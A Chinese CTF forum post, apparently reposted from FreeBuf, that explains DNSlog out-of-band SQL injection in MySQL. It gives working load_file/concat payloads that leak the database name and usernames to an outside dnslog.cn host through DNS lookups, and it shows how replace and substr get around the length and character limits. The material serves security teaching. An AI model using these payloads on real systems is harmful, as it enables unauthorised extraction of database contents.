CTF吧

找回密码
加入CTF

快捷登录

查看: 11229|回复: 0

DNS注入深入解析

[复制链接]

11

主题

36

帖子

7887

积分

实习出题员

Rank: 7Rank: 7Rank: 7

积分
7887
发表于 2020-12-28 15:16:30 | 显示全部楼层 |阅读模式
本帖最后由 GoodXuan 于 2020-12-28 15:22 编辑

文章首发:https://www.freebuf.com/articles/web/259023.html


DNSlog注入语句select load_file(concat('\\\\',(select database()),'.gitw7c.dnslog.cn/abc'));
//转换之后的结果为:\\security.gitw7c.dnslog.cn
原理是load_file通过请求security.gitw7c.dnslog.cn下的/abc文件时留下dns解析记录来获取信息的。
域名知识:域名可以分为5级,从右向左解析,用 . 分割级别,低级别的域名要在高级别的域名中去解析,所以当security.gitw7c.dnslog.cn去gitw7c.dnslog.cn中去解析的时候,就会留下解析记录,通过获取前来解析的低级域名前缀来获取我们需要的信息
由于每一级域名的长度只能为63个字符,所以在mysql中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作,所以gitw7c.dnslog.cn也不会收到解析的记录,所以我们就获取不到想要的信息了

域名里有一个规则,只能出现数字,字母,下划线;所以在获取到的信息中包含了其他特殊符号时,load_file就会认为是一个错误的域名,就不会去从网络中解析了。


如:

当前我的数据库名为security,是以字母开头的,在域名规则内是允许的,所以load_file会向域名进行解析


sql payload[email protected],就不会进行解析



也就不会有解析记录

我们在使用group_concat合并查询时,会自动使用 "," 连接我们查询到的每值,但是由于 , 在url中是不允许出现的,所以使用group查询到的值去解析时候,mysql就会认为这不是一个url地址,就不会出现解析的操作,所以就没法获取到值,


最佳方案不过事情总是有解决的办法的,通过我不断地构造语句,之后使用replace,substr等函数,成功绕过了url解析的问题
如:
select load_file(concat('\\\\',(select SUBSTR(replace((group_concat(username )),',','_'),1,63) from users),'.qnpqsu.dnslog.cn/abc'))
通过正则替换将replace中的 “ ,”全部替换为 “ _ ” 这样就可以符合url的解析规则了,并且我们只需要将查询结果的字符长度控制在63个就可以了.
如图:



作者:GoodXuan                                         ·

学校:必安科技-必火网络安全                       ·


如若转载请在文章中表明原文章出处与作者                            ·




学习自己!!!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 加入CTF

本版积分规则

');

QQ|Archiver|手机版|小黑屋|CTF吧 ( 津ICP备17008032号-5 举报电话:18622800700 )

© Copyright 2021 版权所有(一极教育科技有限公司)